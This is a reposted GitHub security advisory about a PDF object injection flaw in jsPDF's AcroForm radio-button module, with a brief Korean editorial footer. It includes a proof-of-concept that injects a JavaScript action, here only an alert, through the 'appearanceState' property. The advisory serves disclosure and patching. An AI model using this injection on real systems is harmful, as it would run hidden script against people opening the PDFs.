[jspdf] jsPDF has a PDF Injection in AcroForm module allows Arbitrary JavaScript Execution (RadioButton.createOption and "AS" property)

**[jspdf] jsPDF has a PDF Injection in AcroForm module allows Arbitrary JavaScript Execution (RadioButton.createOption and "AS" property)**

Impact User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to one of the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option. AcroformChildClass.appearanceState Example attack vector: import { jsPDF } from "jspdf" const doc = new jsPDF(); const group = new doc.AcroFormRadioButton(); group.x = 10; group.y = 10; group.width = 20; group.height = 10; doc.addField(group); const child = group.createOption("opt1"); child.x = 10; child.y = 10; child.width = 20; child.height = 10; child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>"; doc.save("test.pdf"); Patches The vulnerability has been fixed in jsPDF@4.2.0. Workarounds Sanitize user input before passing it to the vulnerable API members. References https://github.com/parallax/jsPDF/security/advisories/GHSA-p5xg-68wr-hm3m https://nvd.nist.gov/vuln/detail/CVE-2026-25940 https://github.com/parallax/jsPDF/commit/71ad2dbfa6c7c189ab42b855b782620fa8a38375 https://github.com/parallax/jsPDF/releases/tag/v4.2.0 https://github.com/advisories/GHSA-p5xg-68wr-hm3m

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**[devsupporter 해설]**

이 기사는 GitHub Security Advisories에서 제공하는 최신 개발 동향입니다. 관련 도구나 기술에 대해 더 알아보시려면 원본 링크를 참고하세요.